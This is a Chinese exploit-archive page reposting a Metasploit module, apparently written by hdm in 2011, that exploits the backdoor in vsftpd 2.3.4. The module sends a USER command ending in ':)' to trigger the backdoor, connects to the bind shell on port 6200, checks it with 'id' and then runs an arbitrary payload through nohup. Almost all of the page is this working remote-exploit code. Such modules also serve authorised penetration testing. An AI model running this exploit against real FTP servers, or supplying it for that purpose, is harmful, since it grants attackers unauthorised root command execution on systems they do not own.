首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
VSFTPD 2.3.4 Backdoor Command Execution
来源:http://www.metasploit.com 作者:hdm 发布时间:2011-07-05  
##
# $Id: vsftpd_234_backdoor.rb 13093 2011-07-04 20:09:32Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VSFTPD v2.3.4 Backdoor Command Execution',
			'Description'    => %q{
					This module exploits a malicious backdoor that was added to the
				VSFTPD download archive. This backdoor was present in the vsftpd-2.3.4.tar.gz
				archive sometime before July 3rd 2011.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 13093 
, 'References' => [ [ 'URL', 'http://pastebin.com/AetT9sS5'], [ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ], ], 'Privileged' => true, 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 2000, 'BadChars' => '', 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Targets' => [ [ 'Automatic', { } ], ], 'DisclosureDate' => 'Jul 3 2011', 'DefaultTarget' => 0)) register_options([ Opt::RPORT(21) ], self.class) deregister_options('FTPUSER', 'FTPPASS') end def exploit nsock = self.connect(false, {'RPORT' => 6200}) rescue nil if nsock print_status("The port used by the backdoor bind listener is already open") handle_backdoor(nsock) return end # Connect to the FTP service port first connect banner = sock.get_once(-1, 30).to_s print_status("Banner: #{banner.strip}") sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n") resp = sock.get_once(-1, 30).to_s print_status("USER: #{resp.strip}") if resp =~ /^530 / print_error("This server is configured for anonymous only and the backdoor code cannot be reached") disconnect return end if resp !~ /^331 / print_error("This server did not response as expected: #{resp.strip}") disconnect return end sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n") # Do not bother reading the response from password, just try the backdoor nsock = self.connect(false, {'RPORT' => 6200}) rescue nil if nsock print_good("Backdoor service has been spawned, handling...") handle_backdoor(nsock) return end disconnect end def handle_backdoor(s) s.put("id\n") r = s.get_once(-1, 5).to_s if r !~ /uid=/ print_error("The service on port 6200 does not appear to be a shell") disconnect(s) end print_good("UID: #{r.strip}") s.put("nohup " + payload.encoded + " >/dev/null 2>&1") handler(s) end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·HP OmniInet.exe Opcode 20 Buff
·CoolPlayer 219 Buffer Overflow
·PHP 5.3.6 Buffer Overflow PoC
·Word List Builder 1.0 Buffer O
·Destiny Player 1.6.1.0 Buffer
· I.D.Manager 6.06 Build 8 (dow
·SAP Player 0.9 Buffer Overflow
·iMesh <= 10.0 (IMWebControl.dl
·Wordtrainer 3.0 .ORD File Buff
·RarmaRadio 2.63 (.m3u) Denial
·Golden FTP 4.70 PASS overflow
·Hanso Player 1.6.0 (.m3u) Deni
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved